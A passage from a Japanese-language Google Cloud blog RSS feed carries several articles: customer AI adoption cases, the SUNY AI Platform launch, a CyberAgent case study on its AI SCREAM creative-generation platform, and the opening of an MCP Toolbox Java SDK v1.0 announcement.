を活用して約 3 か月で完全内製し、独自のデータ加工で表・図を構造化して正答率 85% を達成しました。&lt;/li&gt;&lt;li data-block-key="b5qit"&gt;&lt;b&gt;株式会社荏原製作所&lt;/b&gt;: 国内従業員のアクティブ ユーザー約 8,000 名が使う社内 AI「EBARA AI Chat」の利用ログを Gemini ベースの AI エージェントが自動分析し、改善レポートを各ナレッジ担当者に配信する仕組みを構築して、AI が適切な回答を提供できているケースを 50% から 72% に増やしました。&lt;/li&gt;&lt;li data-block-key="7gpdj"&gt;&lt;b&gt;GMOペパボ株式会社&lt;/b&gt;: Gemini platform を活用し、「直近 3 か月で新規契約が伸びたプランと要因を分析して」と指示するだけで AI が BigQuery 上のデータを自律的に探索・分析する仕組みを構築し、作業時間を平均約 8 時間から約 40 分へ、約 92% 削減しました。&lt;/li&gt;&lt;li data-block-key="de0ja"&gt;&lt;b&gt;株式会社SUPERNOVA&lt;/b&gt;: Google Cloud 上で稼働する生成 AI サービス「Stella AI for Biz」を開発し、議事録作成や AI OCR、スライド生成など、やりたいことを選ぶだけで誰もが AI を使いこなせる仕組みで、中小法人の生成 AI 活用を促進しています。&lt;/li&gt;&lt;li data-block-key="3k2rt"&gt;&lt;b&gt;Ｓｋｙ株式会社&lt;/b&gt;: 2026 年 1 月より全従業員約 5,000 名を対象に Gemini Enterprise を導入し、Gemini Notebook を用いた新メンバーの自律学習や Deep Research による社内外情報の横断調査などで活用が進み、定着率 98% を維持しています。&lt;/li&gt;&lt;li data-block-key="dslsh"&gt;&lt;b&gt;東京システムハウス株式会社&lt;/b&gt;: これまで培ってきた COBOL の知見とノウハウを Gemini に組み込んだ「AI ベテランエンジニア」を開発し、仕様書の自動生成や新任エンジニアの質問への回答を通じて、新任エンジニアの開発・運用工数を 30% 削減しました。&lt;/li&gt;&lt;li data-block-key="145lv"&gt;&lt;b&gt;Lazuli株式会社&lt;/b&gt;: Gemini のマルチモーダル機能を『Lazuli PDP』の商品情報抽出プロセスに導入し、商品画像やカタログ内のテキスト・表から必要な商品属性を構造化データとして自動抽出することで、作業の属人化を解消し、データ精度の均一化を実現しました。&lt;/li&gt;&lt;/ul&gt;&lt;h3 data-block-key="b3a24"&gt;&lt;b&gt;第 6 回 生成 AI 事例アワード ピッチコンテスト&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="36ikg"&gt;&lt;a href="https://cloudonair.withgoogle.com/events/agentic-ai-summit-26-fall" target="_blank"&gt;AI Agent Summit ’26 Fall&lt;/a&gt; では、第 6 回 生成 AI 事例アワードのファイナリストによるピッチ コンテストが行われます。こちらもぜひご参加ください。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image1_a21Dh4n.max-1000x1000.png"
        
          alt="image1"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;</description><pubDate>Tue, 27 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/ai-machine-learning/latest-examples-of-generative-ai-applications-from-121-companies-released/</guid><category>Customers</category><category>AI &amp; Machine Learning</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/image2_m5xiA3g.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>最新生成 AI 活用事例 121 社を一挙公開！ AI エージェントの本格活用が広がる（2026 年 10 月更新）</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/image2_m5xiA3g.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/ai-machine-learning/latest-examples-of-generative-ai-applications-from-121-companies-released/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Cloud Japan Team </name><title></title><department></department><company></company></author></item><item><title>Google Public Sector と SUNY、大学の研究を加速する AI 対応プラットフォームを開設</title><link>https://cloud.google.com/blog/ja/topics/public-sector/gps-suny-launch-ai-enabled-platform-to-accelerate-university-research/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="e8m01"&gt;※この投稿は米国時間 2026 年 10 月 9 日に、Google Cloud blog に&lt;a href="https://cloud.google.com/blog/topics/public-sector/gps-suny-launch-ai-enabled-platform-to-accelerate-university-research?e=48754805&amp;amp;hl=en"&gt;投稿&lt;/a&gt;されたものの抄訳です。&lt;/p&gt;&lt;p data-block-key="1jdl4"&gt;公立研究大学は、社会が直面する最も差し迫った課題の解決に取り組んでいますが、アイデアを画期的な成果へと結び付けるには、最先端テクノロジーへの迅速かつセキュアなアクセスが欠かせません。エージェント型 AI の時代において、研究機関にはかつてない機会が訪れています。膨大なデータセットの処理、複雑なワークフローの実行、そして科学的発見の劇的な加速を実現するインテリジェント システムを活用できるようになるからです。&lt;/p&gt;&lt;p data-block-key="9kron"&gt;このたび、&lt;a href="https://www.googlecloudevents.com/GeminiatWork2026" target="_blank"&gt;Gemini at Work&lt;/a&gt; で、ニューヨーク州立大学（SUNY）との協業による SUNY AI Platform の開設を発表しました。本プラットフォームは、Gemini Enterprise を搭載し、Google Cloud 上に構築されたセキュアな AI およびハイ パフォーマンス コンピューティング環境です。&lt;/p&gt;&lt;p data-block-key="9phrj"&gt;当初は SUNY の中で最も研究に重点を置く 9 つのキャンパスで展開されるこのプラットフォームは、研究者が仮説から発見へとよりスピーディに移行できるよう支援するとともに、ニューヨークの学生や人材が AI 主導の経済環境に適応できるよう設計されています。&lt;/p&gt;&lt;p data-block-key="9u37o"&gt;&lt;b&gt;実社会に寄与する研究&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="chklq"&gt;SUNY の研究者は、ニューヨーク州内外の地域社会に直結する課題の解決に取り組んでいます。具体的な取り組みとしては、気象予測の精度向上、水質問題の早期発見、がん治療に向けた DNA シーケンシング、診断精度を高める高解像度脳画像データの解析などが挙げられます。&lt;/p&gt;&lt;p data-block-key="f914u"&gt;このような取り組みをサポートするため、SUNY AI Platform では、あらゆる技術的背景を持つ研究者が Google Cloud の高度な機能を簡単に活用し、その恩恵を受けられるようにしています。本プラットフォームは、ストレージ、ハイ パフォーマンス コンピューティング、Gemini Enterprise、200 以上の信頼できる AI モデルを、シームレスかつ一元化された 1 つのエコシステムに統合しています。個々のチームやキャンパスがこれらの機能を独自に準備する必要はなく、すべての研究者が共通の基盤上で研究を進められます。これにより、データ分析の簡素化、研究機関を跨ぐコラボレーションの促進、そして一貫したガバナンスや「責任ある AI への取り組み」の適用が可能になります。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-video"&gt;



&lt;div class="article-module article-video "&gt;
  &lt;figure&gt;
    &lt;a class="h-c-video h-c-video--marquee"
      href="https://youtube.com/watch?v=jPHyVk2zZ1U"
      data-glue-modal-trigger="uni-modal-jPHyVk2zZ1U-"
      data-glue-modal-disabled-on-mobile="true"&gt;

      
        &lt;img src="//img.youtube.com/vi/jPHyVk2zZ1U/maxresdefault.jpg"
             alt="New Way Now: SUNY、Google Cloud の活用により社会と科学にもたらす公益を推進"/&gt;
      
      &lt;svg role="img" class="h-c-video__play h-c-icon h-c-icon--color-white"&gt;
        &lt;use xlink:href="#mi-youtube-icon"&gt;&lt;/use&gt;
      &lt;/svg&gt;
    &lt;/a&gt;

    
      &lt;figcaption class="article-video__caption h-c-page"&gt;
        
        
          &lt;p&gt;New Way Now: SUNY、Google Cloud の活用により社会と科学にもたらす公益を推進&lt;/p&gt;
        
      &lt;/figcaption&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;

&lt;div class="h-c-modal--video"
     data-glue-modal="uni-modal-jPHyVk2zZ1U-"
     data-glue-modal-close-label="Close Dialog"&gt;
   &lt;a class="glue-yt-video"
      data-glue-yt-video-autoplay="true"
      data-glue-yt-video-height="99%"
      data-glue-yt-video-vid="jPHyVk2zZ1U"
      data-glue-yt-video-width="100%"
      href="https://youtube.com/watch?v=jPHyVk2zZ1U"
      ng-cloak&gt;
   &lt;/a&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="uchca"&gt;&lt;b&gt;SUNY コミュニティへの AI 対応スキルの展開&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="h3te"&gt;インパクトを生み出すのは、テクノロジーそのものではなく「人」です。&lt;/p&gt;&lt;p data-block-key="c3k8u"&gt;この協業の一環として、SUNY は業界で高く評価されている Google のセルフペース型 AI 認定資格を大学システム全体で導入し、学生や教職員が無料で受講できるようにしています。各コースは 5〜10 時間程度で修了でき、事前知識や経験は一切不要です。効果的なプロンプトの作成、複雑な課題の解決、AI ツールの責任ある活用など、実務に役立つ実践的なスキルを習得できます。さらに SUNY は、&lt;a href="https://grow.google/certificates/" target="_blank"&gt;Google Career Certificates&lt;/a&gt; を学術プログラムに組み込む取り組みも進めています。これにより、学生は学位の取得と同時に、社会で即戦力となる技術スキルを身につけて卒業できるようになります。&lt;/p&gt;&lt;p data-block-key="6rkjc"&gt;SUNY AI Platform とこれらの学習機会は、AI 導入に対するより包括的なアプローチを示すものです。つまり、高度なテクノロジーへのアクセスと、それを責任を持って現場で活用するために必要なスキルや組織体制を組み合わせて提供するというアプローチです。&lt;/p&gt;&lt;p data-block-key="fekv5"&gt;SUNY が提供する無料の AI 学習ツールとリソースについては、&lt;a href="https://www.suny.edu/google/" target="_blank"&gt;suny.edu/google&lt;/a&gt; をご覧ください。あわせて、SUNY の研究データ戦略担当ディレクター、Catherine Stollar Peters 氏が出演する&lt;a href="https://www.youtube.com/watch?v=jPHyVk2zZ1U" target="_blank"&gt;パートナーシップ動画&lt;/a&gt;もぜひご覧ください。学術界のリーダーたちが AI を活用して教育や公共部門をどのように変革しているかを紹介しています。&lt;/p&gt;&lt;p data-block-key="9m0q1"&gt;また、10 月 20 日に開催される &lt;a href="https://events.govexec.com/google-public-sector-summit/" target="_blank"&gt;Google Public Sector Summit&lt;/a&gt; にご参加いただくと、公共部門のリーダーたちが AI を活用して組織を変革している事例を直接聞くことができます。&lt;/p&gt;&lt;p data-block-key="14ek7"&gt;&lt;b&gt;&lt;i&gt;-&lt;/i&gt;&lt;/b&gt; &lt;i&gt;Google Public Sector、米国教育機関、州政府、地方自治体担当マネージング ディレクター、&lt;/i&gt;&lt;b&gt;&lt;i&gt;Matt Schneider&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Mon, 26 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/public-sector/gps-suny-launch-ai-enabled-platform-to-accelerate-university-research/</guid><category>Public Sector</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/SUNY_professor.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Google Public Sector と SUNY、大学の研究を加速する AI 対応プラットフォームを開設</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/SUNY_professor.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/public-sector/gps-suny-launch-ai-enabled-platform-to-accelerate-university-research/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Matt Schneider</name><title>Managing Director, U.S. Education, State and Local Government</title><department></department><company>Google Public Sector</company></author></item><item><title>サイバーエージェント: Cloud Run や Agent Development Kit を活用し、クリエイティブ生成 AI プラットフォーム「AI SCREAM」のエージェント化を推進</title><link>https://cloud.google.com/blog/ja/topics/customers/cyberagent-is-promoting-the-adoption-of-its-creative-ai-platform/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="j5zgp"&gt;株式会社サイバーエージェントは、広告領域での活用を想定した社内向けクリエイティブ生成 AI プラットフォーム「AI SCREAM（アイスクリーム）」を、Google Cloud 上に構築し、約 3 年にわたって運用してきました。2025 年には Agent Development Kit（ADK）を活用したエージェント基盤を追加し、画像を作るための「道具」から、制作ワークフローを支援する「仕組み」へと進化させることに成功しています。その開発キーマンに、3 年間の総括と今後の展望を伺いました。&lt;/p&gt;&lt;p data-block-key="1c97h"&gt;&lt;b&gt;利用しているサービス:&lt;/b&gt;&lt;br/&gt; &lt;a href="https://cloud.google.com/run?hl=ja"&gt;Cloud Run&lt;/a&gt;、&lt;a href="https://docs.cloud.google.com/pubsub/docs/overview?hl=ja"&gt;Pub/Sub&lt;/a&gt;、&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/veo/3-1-generate?hl=ja"&gt;Veo&lt;/a&gt;、&lt;a href="https://cloud.google.com/resources/content/intl/ja-jp/imagenpromptguide?hl=ja"&gt;Imagen&lt;/a&gt;、&lt;a href="https://gemini.google/jp/overview/image-generation/?hl=ja-JP" target="_blank"&gt;Nano Banana&lt;/a&gt; など&lt;/p&gt;&lt;p data-block-key="9p6go"&gt;&lt;b&gt;利用しているソリューション:&lt;/b&gt;&lt;br/&gt;&lt;a href="https://cloud.google.com/ai/generative-ai?hl=ja"&gt;生成 AI&lt;/a&gt;&lt;/p&gt;&lt;h3 data-block-key="8lkr3"&gt;&lt;b&gt;独自プラットフォーム「AI SCREAM」で全社員に生成 AI を届ける&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="ctp2p"&gt;AI SCREAM は、動画生成 AI の Veo や、画像生成 AI の Imagen、Nano Banana（Gemini Flash Image / Pro Image 等） など、社内審査を経て商用利用可能な複数の生成 AI モデルを統一された UI 上で横断的に活用できる、サイバーエージェント独自のクリエイティブ生成AIプラットフォームです。広告制作などで必要となる静止画や動画、音声といった素材の作成から、それらを組み合わせた最終アウトプットまでを、誰もが手軽に行える仕組みを提供しています。&lt;/p&gt;&lt;p data-block-key="c5kcv"&gt;AI SCREAM 開発責任者の瓜生 和也氏は、その出発点は「生成 AI を使いたくても使えない人が社内に大勢いたこと」だったと振り返ります。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_with_image"&gt;&lt;div class="article-module h-c-page"&gt;
  &lt;div class="h-c-grid uni-paragraph-wrap"&gt;
    &lt;div class="uni-paragraph
      h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;

      






  

    &lt;figure class="article-image--wrap-small
      
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image6_BCheNRw.max-1000x1000.png"
        
          alt="image6"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  





      &lt;p data-block-key="t05sj"&gt;「2023 年当時、画像生成 AI 活用の機運は高まり始めていましたが、導入と利用には高度な専門知識が求められており、エンジニア以外のクリエイターや営業担当者は、到底手の出せない状況でした。そうした『壁』を取り払い、全社員に生成 AI を届けることが、このプロジェクトの目的となっています。」（瓜生氏）&lt;/p&gt;&lt;p data-block-key="e7bci"&gt;2023 年 10 月、VM 1 台でスモール スタートした AI SCREAM は、2024 年 1 月に全社展開を見据えたリアーキテクチャを実施します。Cloud Run で動くフロントエンド／バックエンドと、推論ワーカーの VM 群の間に Pub/Sub を挟み、非同期の境界で疎結合にする構成に作り替えることで、より多くの社員が快適に使えるようになりました。&lt;/p&gt;&lt;p data-block-key="cvkso"&gt;「インフラ層においては、社員約 8,000 人のうち 3 割、約 2,400 人が日常的に使うところまでスケールさせたいという事業要求に応えることが求められていました。一方、当時の GPU モデルは容量が大きく、1 つの VM に複数モデルを載せるのは現実的ではないという物理制約もありました。そこで、この両方の要件を満たすために、モデルごとに VM を分け、Pub/Sub のメッセージ流量で水平にスケールさせる構成にしています。事業要求と物理制約を先に見込んで Pub/Sub の境界を作り込んだおかげで、その後モデルが増え続けても、基本的にこの境界は触らずに済みました。」（瓜生氏）&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/CA_1_QuanSheZhanKainiXiangketariakitekuchi.max-1000x1000.png"
        
          alt="CA_1_全社展開に向けたリアーキテクチャ"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nbnn9"&gt;（2024 年 1 月 全社展開に向けたリアーキテクチャ ）&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="j5zgp"&gt;アプリケーション層では、異なるアプローチが採られています。2024 年 6 月には「2 週間に 1 つ、新しいモデルを提供する」という目標を設定。常に新しい生成 AI を試せること自体を価値と捉えて過度な共通化を避け、推論ワーカーのテンプレート化やコピーも意図的に許容しました。これにより、次々に登場する新たなモデルに迅速に対応することが可能になりました。瓜生氏は、わずか 3 年で 30 を超えるモデルを導入できたのも、この判断があったからだと言います。&lt;/p&gt;&lt;p data-block-key="5melp"&gt;「ただし緩めたのは実装の部分だけで、アーキテクチャ設計とデータ設計は守りました。何でも緩めたのではなく、緩める粒度を選んだというのが正確な表現だと思います。」（瓜生氏）&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/CA_2_API_LianXietemoakitekuchiyaoBianesuni.max-1000x1000.png"
        
          alt="CA_2_API 連携でもアーキテクチャを変えずに吸収"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nbnn9"&gt;（2024 年 7 月〜 Stable Image Core / Ultra で初の API 連携での生成 AI モデル導入）&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="j5zgp"&gt;&lt;b&gt;エージェント化によって営業メンバーもクリエイティブ制作の担い手に&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="epggc"&gt;次の転機となったのが AI エージェント機能の追加です。もともと社内では 2024 年 6 月頃から、クリエイティブ制作をエージェンティックにできないかという要望がありました。これを受けて 2025 年 3 月に検証が開始され、翌 4 月には、Google がリリースしたオープンソースのエージェント開発フレームワーク「Agent Development Kit（ADK）」の採用を決定。そのわずか 3 か月後の 2025 年 7 月に、エージェント基盤をリリースしています。&lt;/p&gt;&lt;p data-block-key="a09c7"&gt;「ADK を選んだ理由は 3 つあります。オープンソースかつ Google の長期サポートが見込めること、Agent2Agent（A2A）プロトコルというエージェント間連携の仕組みが設計に組み込まれていること、そして Google Cloud のマネージド サービスと親和性が高いことです。」（瓜生氏）&lt;/p&gt;&lt;p data-block-key="e5naq"&gt;短期間でのリリースを可能にしたのは、新規構築と既存資産の見極めでした。エージェント基盤そのものは ADK、Cloud Run、PostgreSQL で別アプリケーションとしてゼロから設計したのに対し、画像生成については既存基盤をそのまま呼び出す形にしたのです。現在稼働する主なエージェントは、プロンプトから画像を生成する「画像生成」、画像内のテキストを差し替える「ブラッシュアップ」、LP（ランディング ページ）や参考画像をもとに広告バナーを作る「バナー生成」、アスペクト比に合わせてレイアウトを組み替える「リサイズ」の 4 種類。これらはすでに現場での活用が進んでいます。&lt;/p&gt;&lt;p data-block-key="4c4tg"&gt;「2026 年 4 月にはエージェント機能を用いて約 1 万枚の広告クリエイティブが生成され、そのうち約 20% にあたる約 2,000 枚が実用候補としてダウンロードされました。従来、生成機能のダウンロード率は 7～8% 程度だったので、予想以上の数字だったと言えるでしょう。利用の拡大は、用途が明確なリサイズ機能に牽引されている面もありますが、バナー生成単体でもダウンロード率は 10% 弱となっています。素材生成が中心だった従来の生成機能より、バナー生成やリサイズなど制作工程をより先まで進められるエージェント機能の方が、ダウンロードにつながりやすい傾向が見られます。」（瓜生氏）&lt;/p&gt;&lt;p data-block-key="1jc5n"&gt;エージェント機能の提供開始により、営業担当者が自らバナーを制作し、それを叩き台に広告主企業とすり合わせたりするといった事例も生まれ始めました。まだ制作・外注コストの削減効果までは確認できていないものの、生成 AI の利用者をクリエイター以外の職種にも広げられたことは、エージェント化がもたらした大きな成果と言えます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/CA_3_akitekuchiyaQuanTiXiang.max-1000x1000.png"
        
          alt="CA_3_アーキテクチャ全体像"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nbnn9"&gt;（アーキテクチャ全体像）&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;より対話的な体験を追求、そして社外への展開も開始&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;2 度の大きなアップデートで実用性を高め、サイバーエージェント社内に根付いた AI SCREAM。2025 年 2 月から 2026 年 6 月までの間に生成された成果物は累計 160 万点を超え、制作時間は従来比で約 3 割も短縮されています。瓜生氏はその実績を踏まえたうえで、これから AI SCREAM が目指すのは、エージェントをむやみに増やすことではなく、さらに品質を高め、実際の制作業務のニーズに応えていくことだと説明します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「たとえばクライアント様のロゴや商品画像は原則として改変してはならない要素です。守るべきところはしっかりと守った上で、それ以外の部分を生成 AI で加工し、バナーとして成立させていく取り組みを進めています。」（瓜生氏）&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;そしてもう 1 つ、今後の AI SCREAM の進化の軸として検討されているのが、より対話的な制作体験の実現です。現在のバナー生成は、制作に必要な情報をフォームに入力すると生成結果が返ってくる仕組みで、その後も AI と継続的に対話しながら、制作を進める仕組みにはなっていません。しかし実際の制作現場では、関係者とのやり取りのなかでバナーの方向性を固め、フィードバックを受けて修正を重ねながら仕上げていくプロセスです。瓜生氏は、AI とやり取りを重ねながら仕上げていく体験に近づけることで、AI SCREAM の「次」が見えてくるのではないかと語ります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「エージェントのランタイムやセッション サービスなど、今後実現したい制作体験に必要となる機能は、Google Cloud にすでに揃っていると考えています。今後はこれらを上手に活用しながら、AI SCREAM をより良いものにアップデートしていきたいですね。Google Cloud には今後も、より高精度な画像生成・動画生成モデルの提供を期待しています。」（瓜生氏）&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;サイバーエージェントは、こうして社内で磨き上げてきた AI SCREAM の企業向け提供を、2026 年 8 月に開始しました。AI クリエイティブ BPO 事業の専門チームが、導入から運用定着、制作体制の構築まで一貫して伴走するなど、大規模な SaaS として一気に利用拡大を図るのではなく、顧客とコミュニケーションを取りながら丁寧に展開していく方針を打ち出しています。&lt;/span&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_with_image"&gt;&lt;div class="article-module h-c-page"&gt;
  &lt;div class="h-c-grid uni-paragraph-wrap"&gt;
    &lt;div class="uni-paragraph
      h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;

      






  

    &lt;figure class="article-image--wrap-small
      
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image3_JOQY6Ef.max-1000x1000.png"
        
          alt="image3"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  





      &lt;p data-block-key="t05sj"&gt;&lt;a href="https://www.cyberagent.co.jp/"&gt;&lt;b&gt;株式会社サイバーエージェント&lt;/b&gt;&lt;/a&gt;&lt;br/&gt;「21 世紀を代表する会社を創る」をビジョンに掲げ、1998 年に設立。国内最大級のインターネット広告代理事業をはじめ、メディア &amp;amp; IP 事業、ゲーム事業を主軸とした多岐にわたる事業を展開している。従業員数は 8,878 名（連結子会社含む。2026 年 6 月時点）。&lt;/p&gt;&lt;p data-block-key="2s0t2"&gt;&lt;b&gt;インタビュイー&lt;br/&gt;&lt;/b&gt;AI クリエイティブカンパニー&lt;br/&gt;AI SCREAM 開発責任者&lt;br/&gt;瓜生 和也 氏&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;hr/&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="j5zgp"&gt;&lt;b&gt;▼ セッション動画を観る&lt;br/&gt;&lt;/b&gt;本事例のインタビュイーによるセッション動画が公開中です。あわせてご覧ください。&lt;br/&gt;&lt;a href="https://www.googlecloudevents.com/next-tokyo/v/s-4393289" target="_blank"&gt;【Next Tokyo 26 セッション】SDXL から AI エージェントへ: クリエイティブ AI プラットフォーム 3 年間の設計判断&lt;/a&gt;&lt;/p&gt;&lt;p data-block-key="d09pg"&gt;&lt;b&gt;▼他の導入事例記事を読む&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="7oh4r"&gt;その他の Google Cloud 導入事例は&lt;a href="https://cloud.google.com/customers?hl=ja&amp;amp;e=48754805"&gt;こちら&lt;/a&gt;をご覧ください。&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 23 Oct 2026 02:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/customers/cyberagent-is-promoting-the-adoption-of-its-creative-ai-platform/</guid><category>AI &amp; Machine Learning</category><category>Cloud Run</category><category>Customers</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/hero_image_CyberAgent_horizontal_1.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>サイバーエージェント: Cloud Run や Agent Development Kit を活用し、クリエイティブ生成 AI プラットフォーム「AI SCREAM」のエージェント化を推進</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/hero_image_CyberAgent_horizontal_1.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/customers/cyberagent-is-promoting-the-adoption-of-its-creative-ai-platform/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Cloud Japan Team </name><title></title><department></department><company></company></author></item><item><title>「MCP ツールボックス」Java SDK v1.0 のご紹介: 企業向けのエージェント型データアクセス</title><link>https://cloud.google.com/blog/ja/topics/developers-practitioners/announcing-mcp-toolbox-java-sdk-v10-agentic-data-access-for-the-enterprise/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 7 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/developers-practitioners/announcing-mcp-toolbox-java-sdk-v10-agentic-data-access-for-the-enterprise?e=0&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;MCP ツールボックス v1.0 の&lt;/span&gt;&lt;a href="https://medium.com/google-cloud/mcp-toolbox-v1-0-the-open-source-framework-for-secure-agentic-data-access-3c2199546ba8" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;画期的な発表&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に続き、&lt;/span&gt;&lt;a href="https://github.com/googleapis/mcp-toolbox-sdk-java" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;「MCP ツールボックス」Java SDK &lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;バージョン 1.0 が正式にリリースされたことをお知らせいたします。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このリリースにより、世界で最も広く採用されているエンタープライズ向けエコシステムの一つで、最高水準の型安全なエージェント オーケストレーションが実現します。Java の成熟したアーキテクチャは、厳しい要求に対応できるよう構築されており、本番環境でミッションクリティカルな AI エージェントを安全にスケールするために必要な高い同時実行性、厳格なトランザクション整合性、堅牢な状態管理を提供します。&lt;/span&gt;&lt;/p&gt;
